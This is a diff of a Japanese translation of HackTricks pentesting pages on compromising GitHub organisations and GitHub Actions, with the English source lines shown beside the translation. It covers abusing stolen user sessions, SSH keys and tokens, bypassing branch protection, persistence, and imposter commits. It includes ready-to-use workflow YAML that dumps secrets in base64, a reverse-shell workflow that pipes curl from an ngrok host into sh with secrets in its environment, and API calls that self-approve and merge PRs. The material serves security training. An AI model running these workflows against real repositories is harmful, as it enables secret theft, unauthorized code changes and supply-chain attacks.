必要なもののみを許可することを推奨します（レビュー後）。 ## Recon & Attacks abusing credentials -For this scenario we are going to suppose that you have obtained some access to a github account. +このシナリオでは、githubアカウントへのアクセスを取得したと仮定します。 ### With User Credentials -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ログインして**どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。 -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +**2FAが使用されている可能性がある**ことに注意してください。したがって、そのチェックを**通過できる**場合にのみ、この情報にアクセスできます。 > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> `user_session`クッキーを**盗むことに成功した場合**（現在SameSite: Laxで設定されています）、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。 -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +役立つ場合に備えて、[**ブランチ保護のバイパス**](./#branch-protection-bypass)に関するセクションを確認してください。 ### With User SSH Key -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Githubは、**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます（2FAは適用されません）。 +このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、**ローカル設定を列挙する**ことができます。 ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH鍵** はリポジトリに **デプロイ鍵** としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。 -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG鍵 -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 +現在のユーザーが鍵を持っているかどうかをローカルで確認してください: ```shell gpg --list-secret-keys --keyid-format=long ``` +### ユーザートークンを使用して -### With User Token +[**ユーザートークンについての基本情報を確認する**](basic-github-information.md#personal-access-tokens)の紹介。 -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +ユーザートークンは、HTTPS経由のGitの**パスワードの代わり**に使用できるか、[**基本認証を介してAPIに認証するために使用できます**](https://docs.github.com/v3/auth/#basic-authentication)。付与された権限に応じて、さまざまなアクションを実行できる場合があります。 -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +ユーザートークンは次のようになります: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Oauthアプリケーションを使用して -### With Oauth Application +[**Github Oauthアプリケーションについての基本情報を確認する**](basic-github-information.md#oauth-applications)の紹介。 -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +これらは、Oauthアプリケーションが要求できる[スコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。受け入れる前に、要求されたスコープを常に確認する必要があります。 -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Githubアプリケーションを使用して -### With Github Application +[**Githubアプリケーションについての基本情報を確認する**](basic-github-information.md#github-applications)の紹介。 -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Github Actionの妥協と悪用 -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください： {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## ブランチ保護のバイパス -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **承認の数を要求する**: 複数のアカウントを妥協した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。 +- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。_ +- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージすることができます。 +- **Code Ownersからのレビューを要求する**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、あなた自身で承認することができます**。 +- **CODEOWNERファイルが誤って設定されている場合**、Githubは文句を言いませんが、それを使用しません。したがって、誤って設定されている場合は、**Code Ownersの保護が適用されません。** +- **指定されたアクターがプルリクエストの要件をバイパスできるようにする**: あなたがこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。 +- **管理者を含める**: これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。 +- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認し、すべてをマージすることができるかもしれません。** +- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして、再度保護を設定できます。** +- **プッシュ保護のバイパス**: リポジトリが**特定のユーザーのみ**がブランチにプッシュ（コードをマージ）できるようにしている場合（ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています）。 +- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成することができます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。 -## Bypass Environments Protections +## 環境保護のバイパス -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +[**Github環境についての基本情報を確認する**](basic-github-information.md#git-environments)の紹介。 -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +環境が**すべてのブランチからアクセス可能な場合**、それは**保護されていない**ため、環境内の秘密に簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ（名前を指定するか、`*`を使用することによって）を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することで秘密を**抽出**できます（または1つを修正することができます）。 +すべてのブランチが**保護されている**（ワイルドカード`*`を介して）場合、**誰がブランチにコードをプッシュできるかが指定されており**、**あなたのユーザーは許可されていない**というエッジケースがあることに注意してください。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。 ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +注意してください。**ブランチの作成後**、**ブランチ保護が新しいブランチに適用され**、変更することはできませんが、その時点で既に秘密をダンプしているでしょう。 -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## 永続性 -## Persistence +- **ユーザートークン**を生成 +- **シークレット**から**githubトークン**を盗む +- ワークフローの**結果**と**ブランチ**の**削除** +- **組織全体に対してより多くの権限を付与** +- 情報を外部に流出させるための**ウェブフック**を作成 +- **外部コラボレーター**を招待 +- **SIEM**によって使用される**ウェブフック**を**削除** +- **バックドア**を持つ**Github Action**を作成/変更 +- **シークレット**値の変更を通じて**コマンドインジェクション**に脆弱な**Github Action**を見つける -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### 偽のコミット - リポジトリのコミットを通じたバックドア -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードのための**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができる**かもしれません。 +[**これのように**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +詳細については、[https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)を確認してください。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..bb4e5e511 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -2,391 +2,373 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -In this page you will find: +このページでは以下の内容を見つけることができます： -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- 攻撃者がGithub Actionにアクセスできた場合の**影響の概要** +- **アクションにアクセスするための異なる方法**： +- アクションを作成するための**権限** +- **プルリクエスト**関連のトリガーを悪用する +- **他の外部アクセス**技術を悪用する +- すでに侵害されたリポジトリからの**ピボット** +- 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション（前述の影響を引き起こす） -## Impacts Summary +## 影響の概要 -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +[**Github Actionsの基本情報を確認する**](../basic-github-information.md#github-actions)についての紹介。 -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、次のことができるかもしれません： -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスする。 +- **デプロイメント**や他の**アーティファクトを侵害する**。 +- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にする。 +- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットする。 +- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書きする**。 ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +この「**シークレット**」（`${{ secrets.GITHUB_TOKEN }}`および`${{ github.token }}`から来る）は、管理者がこのオプションを有効にしたときに与えられます：
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます：[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。 -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +このトークンの可能な**権限**は次のリンクで確認できます：[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +トークンは**ジョブが完了した後に期限切れ**になります。\ +これらのトークンは次のようになります：`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +このトークンでできる興味深いこと： {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="PRを承認する" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="PRを作成" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> 注意してください。いくつかの場面で、**Github Actionsのenvsやsecretsの中にgithubユーザートークンを見つけることができる**でしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
-List secrets in Github Action output - +Github Action出力のシークレットのリスト ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +シークレットを使ってリバースシェルを取得 ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +他のユーザーのリポジトリでGithubトークンに与えられた権限を**アクションのログを確認することで**チェックすることが可能です：
-## Allowed Execution +## 許可された実行 > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。 > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> このシナリオにいる場合は、[ポストエクスプロイテーション技術](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。 -### Execution from Repo Creation +### リポジトリ作成からの実行 -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。 -### Execution from a New Branch +### 新しいブランチからの実行 -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロードし、**その新しいブランチからそのアクションを**実行する**ことができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます（ただし、それらがどのように呼ばれているかを知っている必要があります）。 +修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**（どれだけ目立ちたいかによります）： ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- -## Forked Execution +## フォークされた実行 > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> 攻撃者が**他のリポジトリのGithub Actionを実行する**ことを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。 ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +ワークフロートリガー**`pull_request`**は、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります：デフォルトでは、**初めて**コラボレーションする場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります。
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> **デフォルトの制限**は**初めての**貢献者に対してのものであるため、**有効なバグ/タイプミスを修正する**ことで貢献し、その後**新しい`pull_request`権限を悪用するために他のPRを送信する**ことができます。 > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **これをテストしましたが、うまくいきませんでした**：~~別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています： -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされた場合、**`GITHUB_TOKEN`はプルリクエストから**読み取り専用の権限を持っています**。 -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。 > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません！** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +攻撃者が実行されるコードを制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、攻撃者は例えば**悪意のあるアーティファクトをアップロードする**ことができます。 ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに**書き込み権限**と**シークレットへのアクセス**を持っています（許可を求めません）。 -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +ワークフロートリガー**`pull_request_target`**は**PRによって与えられたコンテキストではなく、ベースコンテキストで実行される**ことに注意してください（**信頼できないコードを実行しないため**）。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\ +さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。 -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。 -An this one will have **access to secrets**. +そして、これには**シークレットへのアクセス**があります。 ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。 +この例では、別の「テストを実行」ワークフローが完了した後に実行されるようにワークフローが構成されています： ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` - Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +この種のワークフローは、**`pull_request`** または **`pull_request_target`** を介して外部ユーザーによって **トリガーされる** **ワークフロー** に **依存している** 場合、攻撃される可能性があります。いくつかの脆弱な例は [**このブログ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**で見つけることができます。** 最初の例は、**`workflow_run`** トリガーされたワークフローが攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\ +2つ目の例は、**信頼できない** 